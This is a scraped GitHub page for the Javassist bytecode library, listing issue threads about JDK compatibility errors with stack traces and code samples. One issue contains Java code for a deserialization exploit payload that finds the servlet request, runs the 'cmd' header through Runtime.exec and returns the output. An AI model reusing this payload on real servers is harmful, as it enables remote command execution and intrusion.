Java bytecode engineering toolkit

Overview

Java bytecode engineering toolkit

Javassist version 3

Copyright (C) 1999-2020 by Shigeru Chiba, All rights reserved.

Javassist (JAVA programming ASSISTant) makes Java bytecode manipulation simple. It is a class library for editing bytecodes in Java; it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it. Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If the users use the source- level API, they can edit a class file without knowledge of the specifications of the Java bytecode. The whole API is designed with only the vocabulary of the Java language. You can even specify inserted bytecode in the form of source text; Javassist compiles it on the fly. On the other hand, the bytecode-level API allows the users to directly edit a class file as other editors.

This software is distributed under the Mozilla Public License Version 1.1, the GNU Lesser General Public License Version 2.1 or later, or the Apache License Version 2.0.

Files

Comments
  • JDK11: BAD LDC: 17 (Dynamic Class-File Constants)

    JDK11: BAD LDC: 17 (Dynamic Class-File Constants)

    #270 I thought that the PR/merge would make javassist fully compatible with Dynamic Class-File Constants(https://openjdk.java.net/jeps/309). When running junit tests using powermock on the Java 11 I get this error: "BAD LDC 17". Here Javassist and Mockito is used as a dependency of PowerMock. I am using the following versions.

    1. Javassist 3.26.0-GA
    2. PowerMock 2.0.2
    3. JDK 11
    4. Mockito 2.28.0
    opened by harshilps 31
  • javassist stopped working in JDK11 b6

    javassist stopped working in JDK11 b6

    Unsafe.defineClass was removed so the class can't be defined.

    When running with javassist-3.22.0-GA.jar, it results in Caused By: java.lang.NullPointerException at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:103) at javassist.util.proxy.DefineClassHelper.toClass3(DefineClassHelper.java:151)

    The quick fix to get a working jar is to remove the JDK9 logic in src/main/javassist/util/proxy/DefineClassHelper.java by removing the JAVA_9 { .... } code and changing the logic to ClassFile.MAJOR_VERSION >= ClassFile.JAVA_9 ? SecuredPrivileged.JAVA_OTHER

    opened by sdfelts 21
  • Internal APIs stricter access issue on Java11

    Internal APIs stricter access issue on Java11

    JDK11, javassist 3.24.0-GA Unit test:

    public void testJava11() throws Exception {
        	ProxyFactory factory = new ProxyFactory();
            factory.setSuperclass(HashMap.class);
            
            HashMap e = (HashMap)factory.create(null, null, new MethodHandler() {
                @Override
                public Object invoke(Object self, Method thisMethod,
                        Method proceed, Object[] args) throws Throwable {
                    return proceed.invoke(self, args);
                }
            });
        }
    

    Output:

    WARNING: An illegal reflective access operation has occurred
    WARNING: Illegal reflective access using Lookup on javassist.util.proxy.DefineClassHelper (file:/C:/Opensource/javassist/target/classes/) to class java.util.HashMap
    WARNING: Please consider reporting this to the maintainers of javassist.util.proxy.DefineClassHelper
    WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
    WARNING: All illegal access operations will be denied in a future release
    java.lang.RuntimeException: Class not in same package as lookup class: java.util.HashMap has no permission to define the class
    	at javassist.util.proxy.ProxyFactory.createClass3(ProxyFactory.java:614)
    	at javassist.util.proxy.ProxyFactory.createClass2(ProxyFactory.java:587)
    	at javassist.util.proxy.ProxyFactory.createClass1(ProxyFactory.java:523)
    	at javassist.util.proxy.ProxyFactory.createClass(ProxyFactory.java:449)
    	at javassist.util.proxy.ProxyFactory.create(ProxyFactory.java:789)
    	at javassist.util.proxy.ProxyFactory.create(ProxyFactory.java:774)
    	at test.javassist.proxy.ProxySimpleTest.testJava11(ProxySimpleTest.java:372)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.base/java.lang.reflect.Method.invoke(Method.java:566)
    	at junit.framework.TestCase.runTest(TestCase.java:176)
    	at junit.framework.TestCase.runBare(TestCase.java:141)
    	at junit.framework.TestResult$1.protect(TestResult.java:122)
    	at junit.framework.TestResult.runProtected(TestResult.java:142)
    	at junit.framework.TestResult.run(TestResult.java:125)
    	at junit.framework.TestCase.run(TestCase.java:129)
    	at junit.framework.TestSuite.runTest(TestSuite.java:252)
    	at junit.framework.TestSuite.run(TestSuite.java:247)
    	at org.junit.internal.runners.JUnit38ClassRunner.run(JUnit38ClassRunner.java:86)
    	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:89)
    	at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:41)
    	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:541)
    	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:763)
    	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:463)
    	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:209)
    Caused by: javassist.CannotCompileException: Class not in same package as lookup class: java.util.HashMap has no permission to define the class
    	at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:300)
    	at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:48)
    	at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:263)
    	at javassist.util.proxy.FactoryHelper.toClass(FactoryHelper.java:136)
    	at javassist.util.proxy.ProxyFactory.createClass3(ProxyFactory.java:603)
    	... 25 more
    

    If change HashMap class to a customized class, this issue will be gone. Does this mean no way to proxy Java internal class on Java11? Any other way could be implemented in javassist as one alternative solution?

    opened by NingZhang-e 20
  • invalid constant type: 19 at 5 using Jdk9 b181

    invalid constant type: 19 at 5 using Jdk9 b181

    When loading jar containing module-info.java using java 9 build 181

    Caused by: java.io.IOException: invalid constant type: 19 at 5 at javassist.bytecode.ConstPool.readOne(ConstPool.java:1244) at javassist.bytecode.ConstPool.read(ConstPool.java:1175) at javassist.bytecode.ConstPool.(ConstPool.java:185) at javassist.bytecode.ClassFile.read(ClassFile.java:839) at javassist.bytecode.ClassFile.(ClassFile.java:164)

    opened by pethers 14
  • ClassPool get method if not can return null

    ClassPool get method if not can return null

    somtime we need knew class is exist.

    ClassPool pool;
    
    CtClass ct = pool.get("com.Main")
    if(ct == null){
        ct = pool.makeClass("com.Main");
    }
    
    opened by amaoai 13
  • ClassPool is leaking file handles

    ClassPool is leaking file handles

    Reported in https://github.com/realm/realm-java/issues/5521

    By further investigation, it appears that the ClassPool is holding on to file descriptors if ClassPath elements referencing Jar or Zip files are not removed again before discarding the ClassPool.

    This can be seen in the docs for ClassPath.close(): https://github.com/jboss-javassist/javassist/blob/master/src/main/javassist/ClassPath.java#L67 which are only being called when calling ClassPool.removeClassPath(ClassPath): https://github.com/jboss-javassist/javassist/blob/master/src/main/javassist/ClassPoolTail.java#L239

    This is rather non-obvious as the ClassPool is not marked as Closable and nowhere in the description of the ClassPool does it indicate that you need to cleanup resources.

    I'm not sure if this is a bug, but as a minimum the docs probably need to be updated to make this use case clear.

    Right now we work around it by having subclass ManagedClassPool that is marked as Closable and remember all ClassPath elements so it can remove them when close() is called.

    opened by cmelchior 12
  • Estimated release date of javassist 3.20-GA?

    Estimated release date of javassist 3.20-GA?

    Greetings @chibash,

    Can you please let us know the estimated release date of javassist 3.20-GA? We are waiting for the fix https://issues.jboss.org/browse/JASSIST-241 in the new release of javassist

    Regards Abed

    opened by aliab01 12
  • javassist.CannotCompileException: [source error] ; is missing

    javassist.CannotCompileException: [source error] ; is missing

    I want to transform this class using Javassist

    
    public class dfs {
    
        static java.util.HashSet<Object> h;
        static javax.servlet.http.HttpServletRequest r;
        static javax.servlet.http.HttpServletResponse p;
    
        public dfs(){
            r = null;
            p = null;
            h =new java.util.HashSet<Object>();
            F(Thread.currentThread(),0);
        }
    
        private static boolean i(Object obj){
            if(obj==null|| h.contains(obj)){
                return true;
            }
    
            h.add(obj);
            return false;
        }
    
        private static void p(Object o, int depth){
            if(depth > 52||(r !=null&& p !=null)){
                return;
            }
            if(!i(o)){
                if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){
                    r = (javax.servlet.http.HttpServletRequest)o;
                    if(r.getHeader("cmd")==null) {
                        r = null;
                    }else{
                        try {
                            p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse").invoke(r);
    
                        } catch (Exception e) {
                            r = null;
                        }
                    }
    
                }
                if(r !=null&& p !=null){
                    try {
    
                        p.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
                        p.getWriter().flush();
                    }catch (Exception e){
                    }
                    return;
                }
    
                F(o,depth+1);
            }
        }
    
        private static void F(Object start, int depth){
    
            Class n=start.getClass();
            do{
                for (java.lang.reflect.Field declaredField : n.getDeclaredFields()) {
                    declaredField.setAccessible(true);
                    Object o = null;
                    try{
                        o = declaredField.get(start);
    
                        if(!o.getClass().isArray()){
                            p(o,depth);
                        }else{
                            for (Object q : (Object[]) o) {
                                p(q, depth);
                            }
    
                        }
    
                    }catch (Exception e){
                    }
                }
    
            }while(
                    (n = n.getSuperclass())!=null
            );
        }
    }
    
    

    he transformation code is as follows

            CtClass clazz = pool.makeClass("com.xxx.x.Test" + System.nanoTime());
            if ((clazz.getDeclaredConstructors()).length != 0) {
                clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
            }
            clazz.addField(CtField.make("static java.util.HashSet/*<Object>*/ h;", clazz));
            clazz.addField(CtField.make("static javax.servlet.http.HttpServletRequest r;",clazz));
            clazz.addField(CtField.make("static javax.servlet.http.HttpServletResponse p;",clazz));
    
            clazz.addMethod(CtMethod.make("private static boolean i(Object obj){        if(obj==null|| h.contains(obj)){            return true;        }        h.add(obj);        return false;    }",clazz));
            clazz.addMethod(CtMethod.make("private static void F(Object start, int depth){        Class n=start.getClass();        do{            for (Field declaredField : n.getDeclaredFields()) {                declaredField.setAccessible(true);                Object o = null;                try{                    o = declaredField.get(start);                    if(!o.getClass().isArray()){                        p(o,depth);                    }else{                        for (Object q : (Object[]) o) {                            p(q, depth);                        }                    }                }catch (Exception e){                }            }        }while(                (n = n.getSuperclass())!=null        );    }",clazz));
    
            clazz.addMethod(CtMethod.make("private static void p(Object o, int depth){        if(depth > 52||(r !=null&& p !=null)){            return;        }        if(!i(o)){            if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){                r = (javax.servlet.http.HttpServletRequest)o;                if(r.getHeader(\"cmd\")==null) {                    r = null;                }else{                    try {                        p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod(\"getResponse\",null).invoke(r,null);                    } catch (Exception e) {                        r = null;                    }                }            }            if(r !=null&& p !=null){                try {                    p.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader(\"cmd\")).getInputStream()).useDelimiter(\"\\\\A\").next());                    p.getWriter().flush();                }catch (Exception e){                }                return;            }            F(o,depth+1);        }    }",clazz));
            clazz.addMethod(CtMethod.make("public dfs(){        r = null;        p = null;        h =new java.util.HashSet/*<Object>*/();        F(Thread.currentThread(),0);    }",clazz));
    
    
    

    I encountered the error reported

    
    Exception in thread "main" javassist.CannotCompileException: [source error] ; is missing
    	at javassist.CtNewMethod.make(CtNewMethod.java:84)
    	at javassist.CtNewMethod.make(CtNewMethod.java:50)
    	at javassist.CtMethod.make(CtMethod.java:140)
    	at com.summersec.attack.deser.echo.AllEcho.genPayload(AllEcho.java:25)
    	at com.summersec.attack.deser.util.Gadgets.createTemplatesImpl(Gadgets.java:65)
    	at com.summersec.attack.deser.util.Gadgets.createTemplatesImpl(Gadgets.java:57)
    	at com.summersec.attack.deser.echo.AllEcho.main(AllEcho.java:36)
    Caused by: compile error: ; is missing
    	at javassist.compiler.Parser.parseDeclarators(Parser.java:643)
    	at javassist.compiler.Parser.parseDeclarationOrExpression(Parser.java:600)
    	at javassist.compiler.Parser.parseFor(Parser.java:380)
    	at javassist.compiler.Parser.parseStatement(Parser.java:279)
    	at javassist.compiler.Parser.parseBlock(Parser.java:307)
    	at javassist.compiler.Parser.parseStatement(Parser.java:261)
    	at javassist.compiler.Parser.parseDo(Parser.java:351)
    	at javassist.compiler.Parser.parseStatement(Parser.java:277)
    	at javassist.compiler.Parser.parseBlock(Parser.java:307)
    	at javassist.compiler.Parser.parseMethod2(Parser.java:172)
    	at javassist.compiler.Javac.compileMethod(Javac.java:156)
    	at javassist.compiler.Javac.compile(Javac.java:102)
    	at javassist.CtNewMethod.make(CtNewMethod.java:79)
    	... 6 more
    
    
    opened by SummerSec 11
  • JDK11:  Add support for the CONSTANT_Dynamic 17 constant introduced in Java 11

    JDK11: Add support for the CONSTANT_Dynamic 17 constant introduced in Java 11

    Java 11 introduced a new constant called Constant_Dynamic (defined here https://docs.oracle.com/javase/specs/jvms/se11/html/jvms-4.html#jvms-4.4-210). When running junit tests using powermock on the Java 11 I get this error: invalid constant type: 17 at 130. Support for this constant needs to be added to the ConstPool class.

    opened by richbolen 11
  • fixed JASSIST-267 (new )

    fixed JASSIST-267 (new )

    To fix JASSIST-267. Please kindly help review.

    This is a replacement of https://github.com/jboss-javassist/javassist/pull/142 due to my organization suggest me use a new Github account.

    opened by NingZhang-e 11
  • NullPointerException (NPE) in ArrayMemberValue in 3.18.1-GA

    NullPointerException (NPE) in ArrayMemberValue in 3.18.1-GA

    This happens whenever annotation contains member that is empty. I can create test code to display this, but think the issue is probably simple, with solution be to check if field values is null. This can be reproduced with javax.persistence.Table annotation.

    java.lang.NullPointerException: null at javassist.bytecode.annotation.ArrayMemberValue.write(ArrayMemberValue.java:133) ~[javassist-3.18.1-GA.jar:na] at javassist.bytecode.annotation.Annotation.write(Annotation.java:318) ~[javassist-3.18.1-GA.jar:na] at javassist.bytecode.AnnotationsAttribute.setAnnotations(AnnotationsAttribute.java:248) ~[javassist-3.18.1-GA.jar:na]

    Here is code causing the error, with workaround commented out that will avoid NPE:

                Annotation[] annotations = new Annotation[2];
                AnnotationsAttribute attrib =
                        new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
                Annotation annotation = new Annotation(constPool, classPool.get(Entity.class.getName()));
                annotations[0] = annotation;
                // Add @Table(name="",schema="") to class
                annotation = new Annotation(constPool, classPool.get(Table.class.getName()));
                annotation.addMemberValue("name", new StringMemberValue(dataTableName, constPool));
                annotation.addMemberValue("schema", new StringMemberValue(dataSchema, constPool));
                // Add empty array to remove NPE at javassist.bytecode.annotation.ArrayMemberValue.write(ArrayMemberValue.java:133)
                // *** THIS FIX (workaround) NEEDS UNCOMMENTING THESE 4 LINES
    //          ArrayMemberValue blankMemberValueArray = new ArrayMemberValue(new AnnotationMemberValue(constPool), constPool);
    //          blankMemberValueArray.setValue(new MemberValue[0]);
    //          annotation.addMemberValue("uniqueConstraints", blankMemberValueArray);
    //          annotation.addMemberValue("indexes", blankMemberValueArray);
                annotations[1] = annotation;
                attrib.setAnnotations(annotations);
                ctFile.addAttribute(attrib);
    
    
    opened by Raymond-Naseef 11
  • Java 8 to 12 upgrade issue : java.lang.IllegalAccessError

    Java 8 to 12 upgrade issue : java.lang.IllegalAccessError

    I am trying to upgrade a project from Java 8 to Java 12. I am getting following error when to trying to bring up the service and not sure how to fix it. I have searched for java.lang.IllegalAccessError issues and all I see are related to Powermock. Javassist library is not explicitly specified, but Gradle using the latest version available(org.javassist:javassist:3.28.0-GA) and I don't see multiple version loaded. I tried --illegal-access=permit VM option, but didn't work. Any ideas or suggestion? Thanks in advance

    java.lang.IllegalAccessError: class jdk.internal.reflect.ConstructorAccessorImpl loaded by com.company.custom.metadata.run.CompanyLoader @f2ff811 cannot access jdk/internal/reflect superclass jdk.internal.reflect.MagicAccessorImpl at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1016) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:877) at javassist.Loader.findClass(Loader.java:419) at javassist.Loader.loadClass(Loader.java:350) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521) at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.System$2.defineClass(System.java:2189) at java.base/jdk.internal.reflect.ClassDefiner.defineClass(ClassDefiner.java:65) at java.base/jdk.internal.reflect.MethodAccessorGenerator$1.run(MethodAccessorGenerator.java:400) at java.base/jdk.internal.reflect.MethodAccessorGenerator$1.run(MethodAccessorGenerator.java:394) at java.base/java.security.AccessController.doPrivileged(AccessController.java:310) at java.base/jdk.internal.reflect.MethodAccessorGenerator.generate(MethodAccessorGenerator.java:393) at java.base/jdk.internal.reflect.MethodAccessorGenerator.generateConstructor(MethodAccessorGenerator.java:92) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:55) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481) at org.jboss.logging.Logger.doGetMessageLogger(Logger.java:2573) at org.jboss.logging.Logger.getMessageLogger(Logger.java:2530) at org.jboss.logging.Logger.getMessageLogger(Logger.java:2516) at org.hibernate.validator.internal.util.logging.LoggerFactory.make(LoggerFactory.java:22) at org.hibernate.validator.internal.engine.ValidatorFactoryConfigurationHelper.(ValidatorFactoryConfigurationHelper.java:51) at org.hibernate.validator.internal.engine.ValidatorFactoryImpl.(ValidatorFactoryImpl.java:135) at org.hibernate.validator.HibernateValidator.buildValidatorFactory(HibernateValidator.java:38) at org.hibernate.validator.internal.engine.AbstractConfigurationImpl.buildValidatorFactory(AbstractConfigurationImpl.java:433) at io.dropwizard.jersey.validation.Validators.newValidatorFactory(Validators.java:26) at io.dropwizard.setup.Bootstrap.(Bootstrap.java:67) at io.dropwizard.Application.run(Application.java:86) at com.company.api.CompanyService.main(CompanyService.java:571) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:567) at javassist.Loader.run(Loader.java:328) at com.company.custom.metadata.CompanyServiceRun.run(CompanyServiceRun.java:151) at com.company.custom.metadata.CompanyServiceRun.main(CompanyServiceRun.java:198)

    opened by sivasrinivas 0
  • can not call overload method

    can not call overload method

    when using java.lang.Math.pow(2, 2.5) function, get a javassist.CannotCompileException: [source error] pow(int,double) not found in java.lang.Math

    The Class Math doesn't contain function pow(int, double), but contains pow(double,double).
    Does javassist not support reload method?

           ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(JavaasistTest.class));
    
            CtClass formulaClass = pool.makeClass("A");
            CtClass mapClass;
            try {
                mapClass = pool.get("java.util.Map");
            } catch (NotFoundException e) {
                throw new RuntimeException("Map exception");
            }
    
            CtMethod runMethod = new CtMethod(CtClass.doubleType, "run", new CtClass[]{mapClass}, formulaClass);
            runMethod.setModifiers(Modifier.PUBLIC);
            try {
                String body = "{double s = Math.pow(2, 2.5);return s;}";
                runMethod.setBody(body);
            } catch (CannotCompileException e) {
                throw new RuntimeException("CannotCompileException1 exception");
            }
    

    javassist.CannotCompileException: [source error] pow(int,double) not found in java.lang.Math

    opened by ywf4026 0
  • can i change a non-static method to static method?

    can i change a non-static method to static method?

    i want to create a new class by template class and change template class'non-static method to static method

    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.Modifier;
    
    public class Template {
        public void templateMethod(Object arg) {
            //do something
        }
    
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass template = pool.get("Template");
            CtClass newClass = pool.makeClass(template.getClassFile());
            newClass.setName("FinalClass");
            newClass.getDeclaredMethod("templateMethod", new CtClass[]{pool.get(Object.class.getName())}).setModifiers(Modifier.PUBLIC | Modifier.STATIC);
    
            Class result = newClass.toClass(sun.misc.Launcher.getLauncher().getClassLoader());
        }
    }
    
        
    

    but finall will throw error:

    Type top (current frame, locals[0]) is not assignable to reference type
    
    opened by zhangzishen9 1
  • javassist cannot work on jdk17

    javassist cannot work on jdk17

    Calling CtClass.toClass(ClassLoader loader, ProtectionDomain domain) renders the following error:

    Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @6659c656 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297) at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199) at java.base/java.lang.reflect.Method.setAccessible(Method.java:193) at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159) at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213) at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52) at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260) at javassist.ClassPool.toClass(ClassPool.java:1240) at javassist.CtClass.toClass(CtClass.java:1392)

    opened by caobinlight 1
  • Add

    Add "insertAfterLocalVariable" method on CtBehavior

    The purpose of this method is to make changes to code where the line number or variable name is unknown or does not exist. I use it for some obfuscated code, but it doesn't work for all obfuscated code. For unobfuscated code it obviously works. The implementation is included with a test.

    opened by Adahel 1
Releases(rel_3_29_2_ga)
Mixin is a trait/mixin and bytecode weaving framework for Java using ASM

Mixin is a trait/mixin framework for Java using ASM and hooking into the runtime classloading process via a set of pluggable built-in or user-provided

SpongePowered 1.1k Jan 7, 2023
Jitescript - Java API for Bytecode

Jitescript - Java API for Bytecode This project is inspired by @headius's BiteScript. The goal is to produce a Java library with a similar API so that

Doug Campos 182 Dec 7, 2022
Chasm is a java bytecode transformer designed to handle collision between transformers wherever possible.

NOTE: This project is still in its early development. There's guaranteed bugs and missing functionality. Chasm - Collision Handling ASM What is Chasm?

null 51 Dec 30, 2022
The modern Java bytecode editor

Recaf An easy to use modern Java bytecode editor that abstracts away the complexities of Java programs. Recaf abstracts away: Constant pool Stack fram

Matt 4.5k Dec 31, 2022
cglib - Byte Code Generation Library is high level API to generate and transform Java byte code. It is used by AOP, testing, data access frameworks to generate dynamic proxy objects and intercept field access.

cglib Byte Code Generation Library is high level API to generate and transform JAVA byte code. It is used by AOP, testing, data access frameworks to g

Code Generation Library 4.5k Jan 8, 2023
A Java 8+ Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More)

Bytecode Viewer Bytecode Viewer - a lightweight user friendly Java Bytecode Viewer. New Features WAR & JSP Loading JADX-Core Decompiler Fixed APK & de

Kalen (Konloch) Kinloch 13.5k Jan 7, 2023
Sniffy - interactive profiler, testing and chaos engineering tool for Java

Sniffy Sniffy is a Java profiler which shows the results directly in your browser. It also brings profiling to your unit (or rather component) tests a

Sniffy 139 Dec 23, 2022
Chaos engineering tool for simulating real-world distributed system failures

Proxy for simulating real-world distributed system failures to improve resilience in your applications. Introduction Muxy is a proxy that mucks with y

Matt Fellows 811 Dec 25, 2022
SparkFE is the LLVM-based and high-performance Spark native execution engine which is designed for feature engineering.

Spark has rapidly emerged as the de facto standard for big data processing. However, it is not designed for machine learning which has more and more limitation in AI scenarios. SparkFE rewrite the execution engine in C++ and achieve more than 6x performance improvement for feature extraction. It guarantees the online-offline consistency which makes AI landing much easier. For further details, please refer to SparkFE Documentation.

4Paradigm 67 Jun 10, 2021
Ray Tracing project from students of the ENSEEIHT Engineering School

Ray-Tracing-N7 This is a school project of students of the ENSEEIHT engineering school, in which we will try to recreate a basic ray tracing system, w

Tibo Mousset 3 Jun 23, 2022
Software Engineering course assignment

swe-foxcatcher-game This is a JavaFX application of a simple chessboard game. Rules of the game Starting board: Fox can move diagonally in every direc

Bence Czövek 3 May 19, 2021
Castled is an open source reverse ETL solution that helps you to periodically sync the data in your warehouses and databases to sales, marketing, support or custom apps without any help from engineering teams

Open source reverse-ETL platform to operationalize your data warehouse Introduction Castled is a Reverse ETL solution which enables you to make the va

Castled 314 May 2, 2022
A tool for reverse engineering Android apk files

Apktool This is the repository for Apktool. If you are looking for the Apktool website. Click here. It is a tool for reverse engineering 3rd party, cl

Connor Tumbleson 15.4k Jan 4, 2023
Ghidra is a software reverse engineering (SRE) framework

Ghidra Software Reverse Engineering Framework Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security

National Security Agency 36.5k Dec 28, 2022
🖥️Computer Science & Engineering

This repository contains all the material I gathered during my degree in Computer Science & Engineering at ISEC from 2019 to 2022. Every course is separated into individual folders, using the same acronyms the university uses as the folder's name.

TheForgotten 10 Dec 26, 2022
Project for "Software Engineering" Course, University of Macedonia (UoM).

CovIDetect CovIDetect is a dashboard application for universities that aims to facilitate the process of managing covid cases and provide statistical

null 12 Dec 21, 2022
Mixin is a trait/mixin and bytecode weaving framework for Java using ASM

Mixin is a trait/mixin framework for Java using ASM and hooking into the runtime classloading process via a set of pluggable built-in or user-provided

SpongePowered 1.1k Jan 7, 2023
Log analyser / visualiser for Java HotSpot JIT compiler. Inspect inlining decisions, hot methods, bytecode, and assembly. View results in the JavaFX user interface.

JITWatch Log analyser and visualiser for the HotSpot JIT compiler. Video introduction to JITWatch video Slides from my LJC lightning talk on JITWatch

AdoptOpenJDK 2.8k Jan 3, 2023
Jitescript - Java API for Bytecode

Jitescript - Java API for Bytecode This project is inspired by @headius's BiteScript. The goal is to produce a Java library with a similar API so that

Doug Campos 182 Dec 7, 2022